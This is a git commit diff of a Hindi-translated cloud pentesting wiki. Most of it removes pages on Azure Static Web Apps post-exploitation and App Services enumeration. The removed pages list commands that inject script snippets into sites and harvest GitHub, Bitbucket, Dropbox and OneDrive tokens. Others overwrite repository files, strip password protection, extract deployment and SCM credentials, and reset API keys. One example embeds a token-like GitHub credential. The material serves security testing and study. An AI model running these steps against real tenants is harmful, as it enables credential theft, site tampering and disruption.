Translated ['src/pentesting-cloud/azure-security/az-enumeration-tools.md

This commit is contained in:
Translator
2025-01-09 08:11:49 +00:00
parent dce4751f2e
commit a8351c1a6c
373 changed files with 6 additions and 555 deletions

View File

@@ -99,15 +99,15 @@ Azure PowerShell AZ मॉड्यूल में कमांड इस प
#### Debug | MitM Az PowerShell
**`-Debug`** पैरामीटर का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोध भेज रहा है:
पैरामीटर **`-Debug`** का उपयोग करके यह देखना संभव है कि उपकरण सभी अनुरोधों को भेज रहा है:
```bash
Get-AzResourceGroup -Debug
```
**MitM** करने और **सभी अनुरोधों** की मैन्युअल जांच करने के लिए, आप env वेरिएबल्स `HTTPS_PROXY` और `HTTP_PROXY` को [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) के अनुसार सेट कर सकते हैं।
**MitM** करने और **सभी अनुरोधों** की मैन्युअल जांच करने के लिए, आप पर्यावरण चर `HTTPS_PROXY` और `HTTP_PROXY` को [**docs**](https://learn.microsoft.com/en-us/powershell/azure/az-powershell-proxy) के अनुसार सेट कर सकते हैं।
### Microsoft Graph PowerShell
Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत क्वेरी का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है।
Microsoft Graph PowerShell एक क्रॉस-प्लेटफ़ॉर्म SDK है जो सभी Microsoft Graph APIs, जैसे SharePoint, Exchange, और Outlook, तक पहुँचने की अनुमति देता है, एकल एंडपॉइंट का उपयोग करके। यह PowerShell 7+, MSAL के माध्यम से आधुनिक प्रमाणीकरण, बाहरी पहचान, और उन्नत प्रश्नों का समर्थन करता है। न्यूनतम विशेषाधिकार पहुँच पर ध्यान केंद्रित करते हुए, यह सुरक्षित संचालन सुनिश्चित करता है और नवीनतम Microsoft Graph API सुविधाओं के साथ संरेखित करने के लिए नियमित अपडेट प्राप्त करता है।
[**installation instructions**](https://learn.microsoft.com/en-us/powershell/microsoftgraph/installation) के लिए इस लिंक का पालन करें।
@@ -126,4 +126,6 @@ Azure Active Directory (AD) मॉड्यूल, जो अब **deprecated**
> [!TIP]
> इसे Microsoft Graph PowerShell द्वारा प्रतिस्थापित किया गया है
इस लिंक का पालन करें [**installation instructions**](https://www.powershellgallery.com/packages/AzureAD).
इस लिंक पर [**स्थापना निर्देश**](https://www.powershellgallery.com/packages/AzureAD) के लिए जाएं।
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,162 +0,0 @@
# Az - Static Web Apps Post Exploitation
{{#include ../../../banners/hacktricks-training.md}}
## Azure Static Web Apps
इस सेवा के बारे में अधिक जानकारी के लिए देखें:
{{#ref}}
../az-services/az-static-web-apps.md
{{#endref}}
### Microsoft.Web/staticSites/snippets/write
एक स्निप्पेट बनाकर एक स्थिर वेब पृष्ठ को मनमाने HTML कोड को लोड करना संभव है। इससे एक हमलावर को वेब ऐप के अंदर JS कोड इंजेक्ट करने और संवेदनशील जानकारी जैसे क्रेडेंशियल या म्नेमोनिक कुंजी (वेब3 वॉलेट में) चुराने की अनुमति मिल सकती है।
निम्नलिखित कमांड एक स्निप्पेट बनाएगी जो हमेशा वेब ऐप द्वारा लोड की जाएगी::
```bash
az rest \
--method PUT \
--uri "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/snippets/<snippet-name>?api-version=2022-03-01" \
--headers "Content-Type=application/json" \
--body '{
"properties": {
"name": "supersnippet",
"location": "Body",
"applicableEnvironmentsMode": "AllEnvironments",
"content": "PHNjcmlwdD4KYWxlcnQoIkF6dXJlIFNuaXBwZXQiKQo8L3NjcmlwdD4K",
"environments": [],
"insertBottom": false
}
}'
```
### कॉन्फ़िगर की गई तीसरी पार्टी क्रेडेंशियल्स पढ़ें
जैसा कि ऐप सेवा अनुभाग में समझाया गया है:
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
निम्नलिखित कमांड चलाकर **तीसरी पार्टी क्रेडेंशियल्स** पढ़ना संभव है जो वर्तमान खाते में कॉन्फ़िगर की गई हैं। ध्यान दें कि यदि उदाहरण के लिए कुछ Github क्रेडेंशियल्स किसी अन्य उपयोगकर्ता में कॉन्फ़िगर किए गए हैं, तो आप किसी अन्य से टोकन तक पहुँच नहीं पाएंगे।
```bash
az rest --method GET \
--url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"
```
यह कमांड Github, Bitbucket, Dropbox और OneDrive के लिए टोकन लौटाता है।
यहाँ टोकन की जांच करने के लिए कुछ कमांड उदाहरण दिए गए हैं:
```bash
# GitHub List Repositories
curl -H "Authorization: token <token>" \
-H "Accept: application/vnd.github.v3+json" \
https://api.github.com/user/repos
# Bitbucket List Repositories
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://api.bitbucket.org/2.0/repositories
# Dropbox List Files in Root Folder
curl -X POST https://api.dropboxapi.com/2/files/list_folder \
-H "Authorization: Bearer <token>" \
-H "Content-Type: application/json" \
--data '{"path": ""}'
# OneDrive List Files in Root Folder
curl -H "Authorization: Bearer <token>" \
-H "Accept: application/json" \
https://graph.microsoft.com/v1.0/me/drive/root/children
```
### Overwrite file - Overwrite routes, HTML, JS...
यह संभव है कि **Github repo** के अंदर एक फ़ाइल को **overwritte** किया जाए जिसमें ऐप हो, Azure के माध्यम से **Github token** का उपयोग करके एक अनुरोध भेजकर जैसे कि निम्नलिखित, जो फ़ाइल के पथ, फ़ाइल की सामग्री और कमिट संदेश को इंगित करेगा।
इसका दुरुपयोग हमलावरों द्वारा किया जा सकता है ताकि वे मूल रूप से **वेब ऐप की सामग्री को बदल सकें** ताकि दुर्भावनापूर्ण सामग्री (क्रेडेंशियल्स, म्नेमोनिक कीज़ चुराना...) प्रदान की जा सके या बस **कुछ पथों को** अपने सर्वरों पर पुनः मार्गित करने के लिए `staticwebapp.config.json` फ़ाइल को ओवरराइट करके।
> [!WARNING]
> ध्यान दें कि यदि कोई हमलावर किसी भी तरह से Github repo को समझौता करने में सफल होता है, तो वे Github से सीधे फ़ाइल को भी ओवरराइट कर सकते हैं।
```bash
curl -X PUT "https://functions.azure.com/api/github/updateGitHubContent" \
-H "Content-Type: application/json" \
-d '{
"commit": {
"message": "Update static web app route configuration",
"branchName": "main",
"committer": {
"name": "Azure App Service",
"email": "donotreply@microsoft.com"
},
"contentBase64Encoded": "ewogICJuYXZpZ2F0aW9uRmFsbGJhY2siOiB7CiAgICAicmV3cml0ZSI6ICIvaW5kZXguaHRtbCIKICB9LAogICJyb3V0ZXMiOiBbCiAgICB7CiAgICAgICJyb3V0ZSI6ICIvcHJvZmlsZSIsCiAgICAgICJtZXRob2RzIjogWwogICAgICAgICJnZXQiLAogICAgICAgICJoZWFkIiwKICAgICAgICAicG9zdCIKICAgICAgXSwKICAgICAgInJld3JpdGUiOiAiL3AxIiwKICAgICAgInJlZGlyZWN0IjogIi9sYWxhbGEyIiwKICAgICAgInN0YXR1c0NvZGUiOiAzMDEsCiAgICAgICJhbGxvd2VkUm9sZXMiOiBbCiAgICAgICAgImFub255bW91cyIKICAgICAgXQogICAgfQogIF0KfQ==",
"filePath": "staticwebapp.config.json",
"message": "Update static web app route configuration",
"repoName": "carlospolop/my-first-static-web-app",
"sha": "4b6165d0ad993a5c705e8e9bb23b778dff2f9ca4"
},
"gitHubToken": "gho_1OSsm834ai863yKkdwHGj31927PCFk44BAXL"
}'
```
### Microsoft.Web/staticSites/config/write
इस अनुमति के साथ, यह **पासवर्ड को संशोधित करना** संभव है जो एक स्थिर वेब ऐप की सुरक्षा करता है या यहां तक कि हर वातावरण को अनलॉक करने के लिए निम्नलिखित अनुरोध भेजना:
```bash
# Change password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"password": "SuperPassword123.",
"secretUrl": "",
"applicableEnvironmentsMode": "AllEnvironments"
}
}'
# Remove the need of a password
az rest --method put \
--url "/subscriptions/<subcription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/config/basicAuth?api-version=2021-03-01" \
--headers 'Content-Type=application/json' \
--body '{
"name": "basicAuth",
"type": "Microsoft.Web/staticSites/basicAuth",
"properties": {
"secretUrl": "",
"applicableEnvironmentsMode": "SpecifiedEnvironments",
"secretState": "None"
}
}'
```
### Microsoft.Web/staticSites/listSecrets/action
यह अनुमति **API कुंजी तैनाती टोकन** प्राप्त करने की अनुमति देती है जो स्थिर ऐप के लिए है।
यह टोकन ऐप को तैनात करने की अनुमति देता है।
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/listSecrets?api-version=2023-01-01"
```
फिर, एक ऐप को अपडेट करने के लिए आप निम्नलिखित कमांड चला सकते हैं। ध्यान दें कि यह कमांड **कैसे Github Action [https://github.com/Azure/static-web-apps-deploy](https://github.com/Azure/static-web-apps-deploy) काम करता है** की जांच करके निकाली गई थी, क्योंकि यह वह है जिसे Azure ने डिफ़ॉल्ट रूप से उपयोग करने के लिए सेट किया है। इसलिए चित्र और पैरामीटर भविष्य में बदल सकते हैं।
1. रेपो डाउनलोड करें [https://github.com/staticwebdev/react-basic](https://github.com/staticwebdev/react-basic) (या कोई अन्य रेपो जिसे आप तैनात करना चाहते हैं) और `cd react-basic` चलाएँ।
2. उस कोड को बदलें जिसे आप तैनात करना चाहते हैं
3. इसे तैनात करें (याद रखें कि `<api-token>` बदलना है):
```bash
docker run -it --rm -v $(pwd):/mnt mcr.microsoft.com/appsvc/staticappsclient:stable INPUT_AZURE_STATIC_WEB_APPS_API_TOKEN=<api-token> INPUT_APP_LOCATION="/mnt" INPUT_API_LOCATION="" INPUT_OUTPUT_LOCATION="build" /bin/staticsites/StaticSitesClient upload --verbose
```
### Microsoft.Web/staticSites/write
इस अनुमति के साथ, **स्टेटिक वेब ऐप के स्रोत को एक अलग Github रिपॉजिटरी में बदलना संभव है**, हालाँकि, इसे स्वचालित रूप से प्रोविजन नहीं किया जाएगा क्योंकि यह आमतौर पर उस टोकन के साथ Github Action से किया जाना चाहिए जिसने क्रिया को अधिकृत किया है, क्योंकि यह टोकन स्वचालित रूप से रिपॉजिटरी के Github सीक्रेट्स के अंदर अपडेट नहीं होता (यह केवल ऐप के निर्माण के समय स्वचालित रूप से जोड़ा जाता है)।
```bash
az staticwebapp update --name my-first-static-web-app --resource-group Resource_Group_1 --source https://github.com/carlospolop/my-first-static-web-app -b main
```
### Microsoft.Web/staticSites/resetapikey/action
इस अनुमति के साथ **स्टेटिक वेब ऐप के API कुंजी को रीसेट करना संभव है** जो संभावित रूप से ऐप को स्वचालित रूप से तैनात करने वाले वर्कफ़्लो को DoS कर सकता है।
```bash
az rest --method POST \
--url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/staticSites/<app-name>/resetapikey?api-version=2019-08-01"
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -1,270 +0,0 @@
# Az - App Services
{{#include ../../../banners/hacktricks-training.md}}
## App Service Basic Information
Azure App Services डेवलपर्स को **वेब एप्लिकेशन, मोबाइल ऐप बैकएंड, और APIs को बिना किसी रुकावट के बनाने, तैनात करने और स्केल करने** की अनुमति देता है। यह कई प्रोग्रामिंग भाषाओं का समर्थन करता है और कार्यक्षमता और प्रबंधन के लिए विभिन्न Azure उपकरणों और सेवाओं के साथ एकीकृत होता है।
प्रत्येक ऐप एक सैंडबॉक्स के अंदर चलता है लेकिन अलगाव App Service योजनाओं पर निर्भर करता है
- फ्री और शेयर किए गए स्तरों में ऐप साझा VMs पर चलते हैं
- स्टैंडर्ड और प्रीमियम स्तरों में ऐप समर्पित VMs पर चलते हैं
> [!WARNING]
> ध्यान दें कि **इनमें से कोई भी** अलगाव **अन्य सामान्य** **वेब कमजोरियों** (जैसे फ़ाइल अपलोड या इंजेक्शन) को **रोकता नहीं है**। और यदि एक **प्रबंधन पहचान** का उपयोग किया जाता है, तो यह **उन पर विशेषाधिकार बढ़ाने** में सक्षम हो सकता है।
ऐप्स में कुछ दिलचस्प कॉन्फ़िगरेशन हैं:
- **हमेशा चालू**: सुनिश्चित करता है कि ऐप हमेशा चल रहा है। यदि सक्षम नहीं किया गया, तो ऐप 20 मिनट की निष्क्रियता के बाद चलना बंद कर देगा और एक अनुरोध प्राप्त होने पर फिर से शुरू होगा।
- यदि आपके पास एक वेबजॉब है जिसे लगातार चलाने की आवश्यकता है, तो यह आवश्यक है क्योंकि यदि ऐप रुक जाता है तो वेबजॉब भी रुक जाएगा।
- **SSH**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता SSH का उपयोग करके ऐप से कनेक्ट कर सकता है।
- **डीबगिंग**: यदि सक्षम है, तो पर्याप्त अनुमतियों वाला उपयोगकर्ता ऐप को डीबग कर सकता है। हालाँकि, यह हर 48 घंटे में स्वचालित रूप से अक्षम हो जाता है।
- **वेब ऐप + डेटाबेस**: वेब कंसोल एक ऐप के साथ डेटाबेस बनाने की अनुमति देता है। इस मामले में, उपयोग करने के लिए डेटाबेस का चयन करना संभव है (SQLAzure, PostgreSQL, MySQL, MongoDB) और यह आपको Redis के लिए Azure Cache बनाने की भी अनुमति देता है।
- डेटाबेस और Redis के लिए क्रेडेंशियल्स वाला URL **appsettings** में संग्रहीत किया जाएगा।
- **कंटेनर**: कंटेनर के URL और इसे एक्सेस करने के लिए क्रेडेंशियल्स को इंगित करके ऐप सेवा में एक कंटेनर तैनात करना संभव है।
## Basic Authentication
जब एक वेब ऐप (और आमतौर पर एक Azure फ़ंक्शन) बनाया जाता है, तो यह इंगित करना संभव है कि क्या आप बेसिक ऑथेंटिकेशन सक्षम करना चाहते हैं। यह मूल रूप से **SCM और FTP** को एप्लिकेशन के लिए सक्षम करता है ताकि उन तकनीकों का उपयोग करके एप्लिकेशन को तैनात करना संभव हो सके।\
इसके अलावा, उनके साथ कनेक्ट करने के लिए, Azure एक **API प्रदान करता है जो उपयोगकर्ता नाम, पासवर्ड और URL प्राप्त करने की अनुमति देता है** ताकि SCM और FTP सर्वरों से कनेक्ट किया जा सके।
आप एक वेब ब्राउज़र का उपयोग करके SCM से कनेक्ट कर सकते हैं `https://<SMC-URL>/BasicAuth` और वहां सभी फ़ाइलों और तैनातियों की जांच कर सकते हैं।
### Kudu
Kudu एक **तैनाती इंजन और Azure App Service और Function Apps के लिए प्रबंधन प्लेटफ़ॉर्म** है, जो Git-आधारित तैनातियों, दूरस्थ डीबगिंग, और वेब एप्लिकेशनों के लिए फ़ाइल प्रबंधन क्षमताएँ प्रदान करता है। यह वेब ऐप के SCM URL के माध्यम से सुलभ है।
ध्यान दें कि App Services और Function Apps द्वारा उपयोग किए जाने वाले Kudu संस्करण अलग हैं, Function apps का संस्करण बहुत अधिक सीमित है।
Kudu में आप कुछ दिलचस्प एंडपॉइंट पा सकते हैं:
- `/DebugConsole`: एक कंसोल जो आपको Kudu चलाने वाले वातावरण में कमांड निष्पादित करने की अनुमति देता है।
- ध्यान दें कि इस वातावरण में **मेटाडेटा सेवा तक पहुंच नहीं है** टोकन प्राप्त करने के लिए।
- `/webssh/host`: एक वेब-आधारित SSH क्लाइंट जो आपको उस कंटेनर के अंदर कनेक्ट करने की अनुमति देता है जहां ऐप चल रहा है।
- इस वातावरण में **मेटाडेटा सेवा तक पहुंच है** ताकि असाइन किए गए प्रबंधित पहचानों से टोकन प्राप्त किया जा सके।
- `/Env`: सिस्टम, ऐप सेटिंग्स, env वेरिएबल्स, कनेक्शन स्ट्रिंग्स और HTTP हेडर के बारे में जानकारी प्राप्त करें।
- `/wwwroot/`: वेब ऐप का रूट डायरेक्टरी। आप यहां से सभी फ़ाइलें डाउनलोड कर सकते हैं।
## Sources
App Services डिफ़ॉल्ट रूप से कोड को ज़िप फ़ाइल के रूप में अपलोड करने की अनुमति देते हैं, लेकिन यह एक तृतीय पक्ष सेवा से कनेक्ट करने और वहां से कोड प्राप्त करने की भी अनुमति देता है।
- वर्तमान में समर्थित तृतीय पक्ष स्रोत **Github** और **Bitbucket** हैं।
- आप प्रमाणीकरण टोकन प्राप्त कर सकते हैं `az rest --url "https://management.azure.com/providers/Microsoft.Web/sourcecontrols?api-version=2024-04-01"`
- Azure डिफ़ॉल्ट रूप से हर बार कोड अपडेट होने पर ऐप सेवा में कोड तैनात करने के लिए एक **Github Action** सेट करेगा।
- यह वहां से कोड प्राप्त करने के लिए एक **दूरस्थ git रिपॉजिटरी** (उपयोगकर्ता नाम और पासवर्ड के साथ) इंगित करना भी संभव है।
- आप दूरस्थ रिपॉजिटरी के लिए क्रेडेंशियल्स प्राप्त कर सकते हैं `az webapp deployment source show --name <app-name> --resource-group <res-group>` या `az rest --method POST --url "https://management.azure.com/subscriptions/<subscription-id>/resourceGroups/<res-group>/providers/Microsoft.Web/sites/<app-name>/config/metadata/list?api-version=2022-03-01" --resource "https://management.azure.com"`
- एक **Azure Repository** का उपयोग करना भी संभव है।
- एक **स्थानीय git रिपॉजिटरी** को कॉन्फ़िगर करना भी संभव है।
- आप `az webapp deployment source show --name <app-name> --resource-group <res-group>` के साथ git repo का URL प्राप्त कर सकते हैं और यह ऐप का SCM URL होगा।
- इसे क्लोन करने के लिए आपको SCM क्रेडेंशियल्स की आवश्यकता होगी जिसे आप `az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>` के साथ प्राप्त कर सकते हैं।
## Webjobs
Azure WebJobs **Azure App Service वातावरण में चलने वाले बैकग्राउंड कार्य** हैं। वे डेवलपर्स को अपने वेब एप्लिकेशनों के साथ स्क्रिप्ट या प्रोग्राम चलाने की अनुमति देते हैं, जिससे फ़ाइल प्रोसेसिंग, डेटा हैंडलिंग, या अनुसूचित कार्यों जैसे असिंक्रोनस या समय-गहन संचालन को संभालना आसान हो जाता है।
वेब जॉब के 2 प्रकार हैं:
- **निरंतर**: एक लूप में अनिश्चितकाल तक चलता है और इसे तुरंत बनाया जाने पर ट्रिगर किया जाता है। यह उन कार्यों के लिए आदर्श है जिन्हें निरंतर प्रोसेसिंग की आवश्यकता होती है। हालाँकि, यदि ऐप चलना बंद कर देता है क्योंकि हमेशा चालू अक्षम है और इसे पिछले 20 मिनट में कोई अनुरोध नहीं मिला है, तो वेब जॉब भी रुक जाएगा।
- **ट्रिगर किया गया**: मांग पर या एक शेड्यूल के आधार पर चलता है। यह आवधिक कार्यों, जैसे बैच डेटा अपडेट या रखरखाव दिनचर्या के लिए सबसे उपयुक्त है।
Webjobs हमलावरों के दृष्टिकोण से बहुत दिलचस्प हैं क्योंकि उनका उपयोग **पर्यावरण में कोड निष्पादित करने** और **संलग्न प्रबंधित पहचानों** के लिए विशेषाधिकार बढ़ाने के लिए किया जा सकता है।
इसके अलावा, यह हमेशा दिलचस्प होता है कि Webjobs द्वारा उत्पन्न **लॉग** की जांच करें क्योंकि वे **संवेदनशील जानकारी** हो सकती हैं।
### Slots
Azure App Service Slots का उपयोग **एक ही App Service में एप्लिकेशन के विभिन्न संस्करणों को तैनात करने** के लिए किया जाता है। यह डेवलपर्स को उत्पादन वातावरण में तैनात करने से पहले एक अलग वातावरण में नई सुविधाओं या परिवर्तनों का परीक्षण करने की अनुमति देता है।
इसके अलावा, एक विशिष्ट स्लॉट के लिए **ट्रैफ़िक का प्रतिशत** रूट करना संभव है, जो **A/B परीक्षण** और बैकडोर उद्देश्यों के लिए उपयोगी है।
### Azure Function Apps
बुनियादी रूप से **Azure Function apps Azure App Service का एक उपसमुच्चय** हैं और यदि आप वेब कंसोल पर जाते हैं और सभी ऐप सेवाओं की सूची बनाते हैं या az cli में `az webapp list` निष्पादित करते हैं, तो आप **यहां सूचीबद्ध Function apps को भी देख पाएंगे**
वास्तव में, कुछ **सुरक्षा से संबंधित विशेषताएँ** जो ऐप सेवाएँ उपयोग करती हैं (`webapp` az cli में), **Function apps द्वारा भी उपयोग की जाती हैं**
### Enumeration
{{#tabs }}
{{#tab name="az" }}
```bash
# List webapps
az webapp list
## Less information
az webapp list --query "[].{hostName: defaultHostName, state: state, name: name, resourcegroup: resourceGroup}" -o table
## Get SCM URL of each webapp
az webapp list | grep '"name"' | grep "\.scm\." | awk '{print $2}' | sed 's/"//g'
# Get info about 1 app
az webapp show --name <name> --resource-group <res-group>
# Get instances of a webapp
az webapp list-instances --name <name> --resource-group <res-group>
## If you have enough perm you can go to the "consoleUrl" and access a shell inside the instance form the web
# Get access restrictions of an app
az webapp config access-restriction show --name <name> --resource-group <res-group>
# Remove access restrictions
az webapp config access-restriction remove --resource-group <res-group> -n <name> --rule-name <rule-name>
# Get connection strings of a webapp
az webapp config connection-string list --name <name> --resource-group <res-group>
# Get appsettings of an app
az webapp config appsettings list --name <name> --resource-group <res-group>
# Get SCM and FTP credentials
az webapp deployment list-publishing-profiles --name <name> --resource-group <res-group>
# Get configured Auth information
az webapp auth show --name <app-name> --resource-group <res-group>
# Get backups of a webapp
az webapp config backup list --webapp-name <name> --resource-group <res-group>
# Get backups scheduled for a webapp
az webapp config backup show --webapp-name <name> --resource-group <res-group>
# Get snapshots
az webapp config snapshot list --resource-group <res-group> -n <name>
# Restore snapshot
az webapp config snapshot restore -g <res-group> -n <name> --time 2018-12-11T23:34:16.8388367
# Get slots
az webapp deployment slot list --name <AppName> --resource-group <ResourceGroupName> --output table
az webapp show --slot <SlotName> --name <AppName> --resource-group <ResourceGroupName>
# Get traffic-routing
az webapp traffic-routing show --name <AppName> --resource-group <ResourceGroupName>
# Get used container by the app
az webapp config container show --name <name> --resource-group <res-group>
# Get storage account configurations of a webapp
az webapp config storage-account list --name <name> --resource-group <res-group>
# Get configured container (if any) in the webapp, it could contain credentials
az webapp config container show --name <name> --resource-group <res-group>
# Get Webjobs
az webapp webjob continuous list --resource-group <res-group> --name <app-name>
az webapp webjob triggered list --resource-group <res-group> --name <app-name>
# Read webjobs logs with Azure permissions
az rest --method GET --url "<SCM-URL>/vfs/data/jobs/<continuous | triggered>/rev5/job_log.txt" --resource "https://management.azure.com/"
az rest --method GET --url "https://lol-b5fyaeceh4e9dce0.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/rev5/job_log.txt" --resource "https://management.azure.com/"
# Read webjobs logs with SCM credentials
curl "https://windowsapptesting-ckbrg3f0hyc8fkgp.scm.canadacentral-01.azurewebsites.net/vfs/data/jobs/continuous/lala/job_log.txt" \
--user '<username>:<password>' -v
# Get connections of a webapp
az webapp conection list --name <name> --resource-group <res-group>
# Get hybrid-connections of a webapp
az webapp hybrid-connections list --name <name> --resource-group <res-group>
```
{{#endtab }}
{{#tab name="Az Powershell" }}
```powershell
# Get App Services and Function Apps
Get-AzWebApp
# Get only App Services
Get-AzWebApp | ?{$_.Kind -notmatch "functionapp"}
```
{{#endtab }}
{{#tab name="az get all" }}
```bash
#!/bin/bash
# Get all App Service and Function Apps
# Define Azure subscription ID
azure_subscription="your_subscription_id"
# Log in to Azure
az login
# Select Azure subscription
az account set --subscription $azure_subscription
# Get all App Services in the specified subscription
list_app_services=$(az appservice list --query "[].{appServiceName: name, group: resourceGroup}" -o tsv)
# Iterate over each App Service
echo "$list_app_services" | while IFS=$'\t' read -r appServiceName group; do
# Get the type of the App Service
service_type=$(az appservice show --name $appServiceName --resource-group $group --query "kind" -o tsv)
# Check if it is a Function App and print its name
if [ "$service_type" == "functionapp" ]; then
echo "Function App Name: $appServiceName"
fi
done
```
{{#endtab }}
{{#endtabs }}
#### क्रेडेंशियल प्राप्त करें और वेबऐप कोड तक पहुँचें
```bash
# Get connection strings that could contain credentials (with DBs for example)
az webapp config connection-string list --name <name> --resource-group <res-group>
## Check how to use the DBs connection strings in the SQL page
# Get credentials to access the code and DB credentials if configured.
az webapp deployment list-publishing-profiles --resource-group <res-group> -n <name>
# Get git URL to access the code
az webapp deployment source config-local-git --resource-group <res-group> -n <name>
# Access/Modify the code via git
git clone 'https://<username>:<password>@name.scm.azurewebsites.net/repo-name.git'
## In my case the username was: $nameofthewebapp and the password some random chars
## If you change the code and do a push, the app is automatically redeployed
```
{{#ref}}
../az-privilege-escalation/az-app-services-privesc.md
{{#endref}}
## वेब ऐप्स बनाने के उदाहरण
### स्थानीय से पायथन
यह ट्यूटोरियल [https://learn.microsoft.com/en-us/azure/app-service/quickstart-python](https://learn.microsoft.com/en-us/azure/app-service/quickstart-python?tabs=flask%2Cwindows%2Cazure-cli%2Cazure-cli-deploy%2Cdeploy-instructions-azportal%2Cterminal-bash%2Cdeploy-instructions-zip-azcli) से आधारित है।
```bash
# Clone repository
git clone https://github.com/Azure-Samples/msdocs-python-flask-webapp-quickstart
cd msdocs-python-flask-webapp-quickstart
# Create webapp from this code
az webapp up --runtime PYTHON:3.9 --sku B1 --logs
```
SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है।
> [!TIP]
> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है।
**एक हमलावर इस फ़ाइल को डाउनलोड कर सकता है, इसे संशोधित कर सकता है, और इसे फिर से अपलोड कर सकता है ताकि वेब ऐप में मनमाना कोड निष्पादित किया जा सके।**
### Github से Python
यह ट्यूटोरियल पिछले वाले पर आधारित है लेकिन एक Github रिपॉजिटरी का उपयोग कर रहा है।
1. अपने Github खाते में msdocs-python-flask-webapp-quickstart रिपॉजिटरी को फोर्क करें।
2. Azure में एक नया Python वेब ऐप बनाएं।
3. `Deployment Center` में स्रोत बदलें, Github के साथ लॉगिन करें, फोर्क की गई रिपॉजिटरी का चयन करें और `Save` पर क्लिक करें।
जैसे पिछले मामले में, SCM पोर्टल में लॉगिन करने या FTP के माध्यम से लॉगिन करने पर `/wwwroot` में `output.tar.gz` नामक संकुचित फ़ाइल देखी जा सकती है, जिसमें वेब ऐप का कोड होता है।
> [!TIP]
> केवल FTP के माध्यम से कनेक्ट करना और फ़ाइल `output.tar.gz` को संशोधित करना और एक डिप्लॉयमेंट को फिर से ट्रिगर करना वेब ऐप द्वारा निष्पादित कोड को बदलने के लिए पर्याप्त नहीं है।
## संदर्भ
- [https://learn.microsoft.com/en-in/azure/app-service/overview](https://learn.microsoft.com/en-in/azure/app-service/overview)
{{#include ../../../banners/hacktricks-training.md}}